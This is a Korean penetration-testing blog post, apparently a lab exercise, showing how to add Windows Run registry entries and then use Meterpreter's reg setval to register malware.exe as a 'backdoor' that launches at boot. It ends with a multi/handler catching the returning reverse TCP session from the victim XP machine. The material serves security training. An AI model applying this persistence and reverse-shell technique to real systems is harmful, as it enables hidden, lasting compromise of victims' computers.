Linux/모의해킹

레지스트리 명령어 추가

GGkeeper 2022. 1. 5. 19:30

레지스트리란 무엇인가 ?
https://ko.wikipedia.org/wiki/윈도우_레지스트리

레지스트리 참고 : 
https://docs.microsoft.com/ko-kr/windows/win32/sysinfo/registry

실습> 레지스트리 명령어 추가하기

실행 -> regedit 명령어를 이용해서 확인한다.
"HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Windows->CurrentVersion->Run"
새로만들기 -> 문자열 값 : test
test 더블클릭 : 값 데이터 입력 ->  "c:\windows\system32\notepad.exe"
리부팅 후 로그인하면 notepad 프로그램이 실행됨.

실습> 레지스트리 명령어

meterpreter shell 에서 reg 명령어의 도움말을 살펴본다.
meterpreter > help reg
Usage: reg [command] [options]
Interact with the target machine's registry.

OPTIONS:

    -d <opt>  The data to store in the registry value.
    -h        Help menu.
    -k <opt>  The registry key path (E.g. HKLM\Software\Foo).
    -r <opt>  The remote machine name to connect to (with current process credentials
    -t <opt>  The registry value type (E.g. REG_SZ).
    -v <opt>  The registry value name (E.g. Stuff).
    -w        Set KEY_WOW64 flag, valid values [32|64].
COMMANDS:

    enumkey     Enumerate the supplied registry key [-k <key>]
    createkey   Create the supplied registry key  [-k <key>]
    deletekey   Delete the supplied registry key  [-k <key>]
    queryclass  Queries the class of the supplied key [-k <key>]
    setval      Set a registry value [-k <key> -v <val> -d <data>]
    deleteval   Delete the supplied registry value [-k <key> -v <val>]
    queryval    Queries the data contents of a value [-k <key> -v <val>]

regedit 명령어를 이용해서 확인한다.
"HKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->Windows->CurrentVersion->Run"

enumkey 명령어를 이용해서 목록을 확인한다.
meterpreter > reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
Enumerating: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  Keys (1):

OptionalComponents

  Values (8):

IMJPMIG8.1
PHIME2002ASync
PHIME2002A
BluetoothAuthenticationAgent
VMware User Process
Adobe Reader Speed Launcher
Adobe ARM
test

queryval 명령어를 이용해서 test를 확인한다.
meterpreter > reg queryval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v test
Key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Name: test
Type: REG_SZ
Data: "c:\windows\system32\notepad.exe"


악성코드 이동
C:\Documents and Settings\ksw\시작 메뉴\프로그램\시작프로그램\malware.exe 를
C:\WINDOWS\system32 폴더에 이동시킨다.

레지스트리에 OS가 부팅되면 C:\WINDOWS\system32\malware.exe 를 실행시켜서 공격자에게
연결될 수 있도록 등록한다.
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN -v backdoor -d "c:\\windows\\system32\\malware.exe"
Successfully set backdoor of REG_SZ.


meterpreter > reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN
Enumerating: HKLM\Software\Microsoft\Windows\CurrentVersion\RUN

  Keys (1):

OptionalComponents

  Values (9):

IMJPMIG8.1
PHIME2002ASync
PHIME2002A
BluetoothAuthenticationAgent
VMware User Process
Adobe Reader Speed Launcher
Adobe ARM
test
backdoor

backdoor 키를 확인한다.
meterpreter > reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RUN -v backdoor
Key: HKLM\Software\Microsoft\Windows\CurrentVersion\RUN
Name: backdoor
Type: REG_SZ
Data: c:\windows\system32\malware.exe

Victim의 XP를 재부팅한다.
meterpreter > reboot

^C

재부팅이 되면 다시 연결될 수 있도록 exploit을 다시 실행한다.
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.108.102:443 
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 3 opened (192.168.108.102:443 -> 192.168.108.105:1026 ) at 2022-01-05 04:20:03 -0500

meterpreter > exit

'Linux > 모의해킹' 카테고리의 다른 글

시스인터널스 툴 (Sysinternals Tools)  (0) 2022.01.05
Windows 레지스트리 악성코드 등록 실습  (0) 2022.01.05
키 로그 (Key Log)  (0) 2022.01.05
파일 다운로드  (0) 2022.01.05
meterpreter 명령어 사용하기  (0) 2022.01.05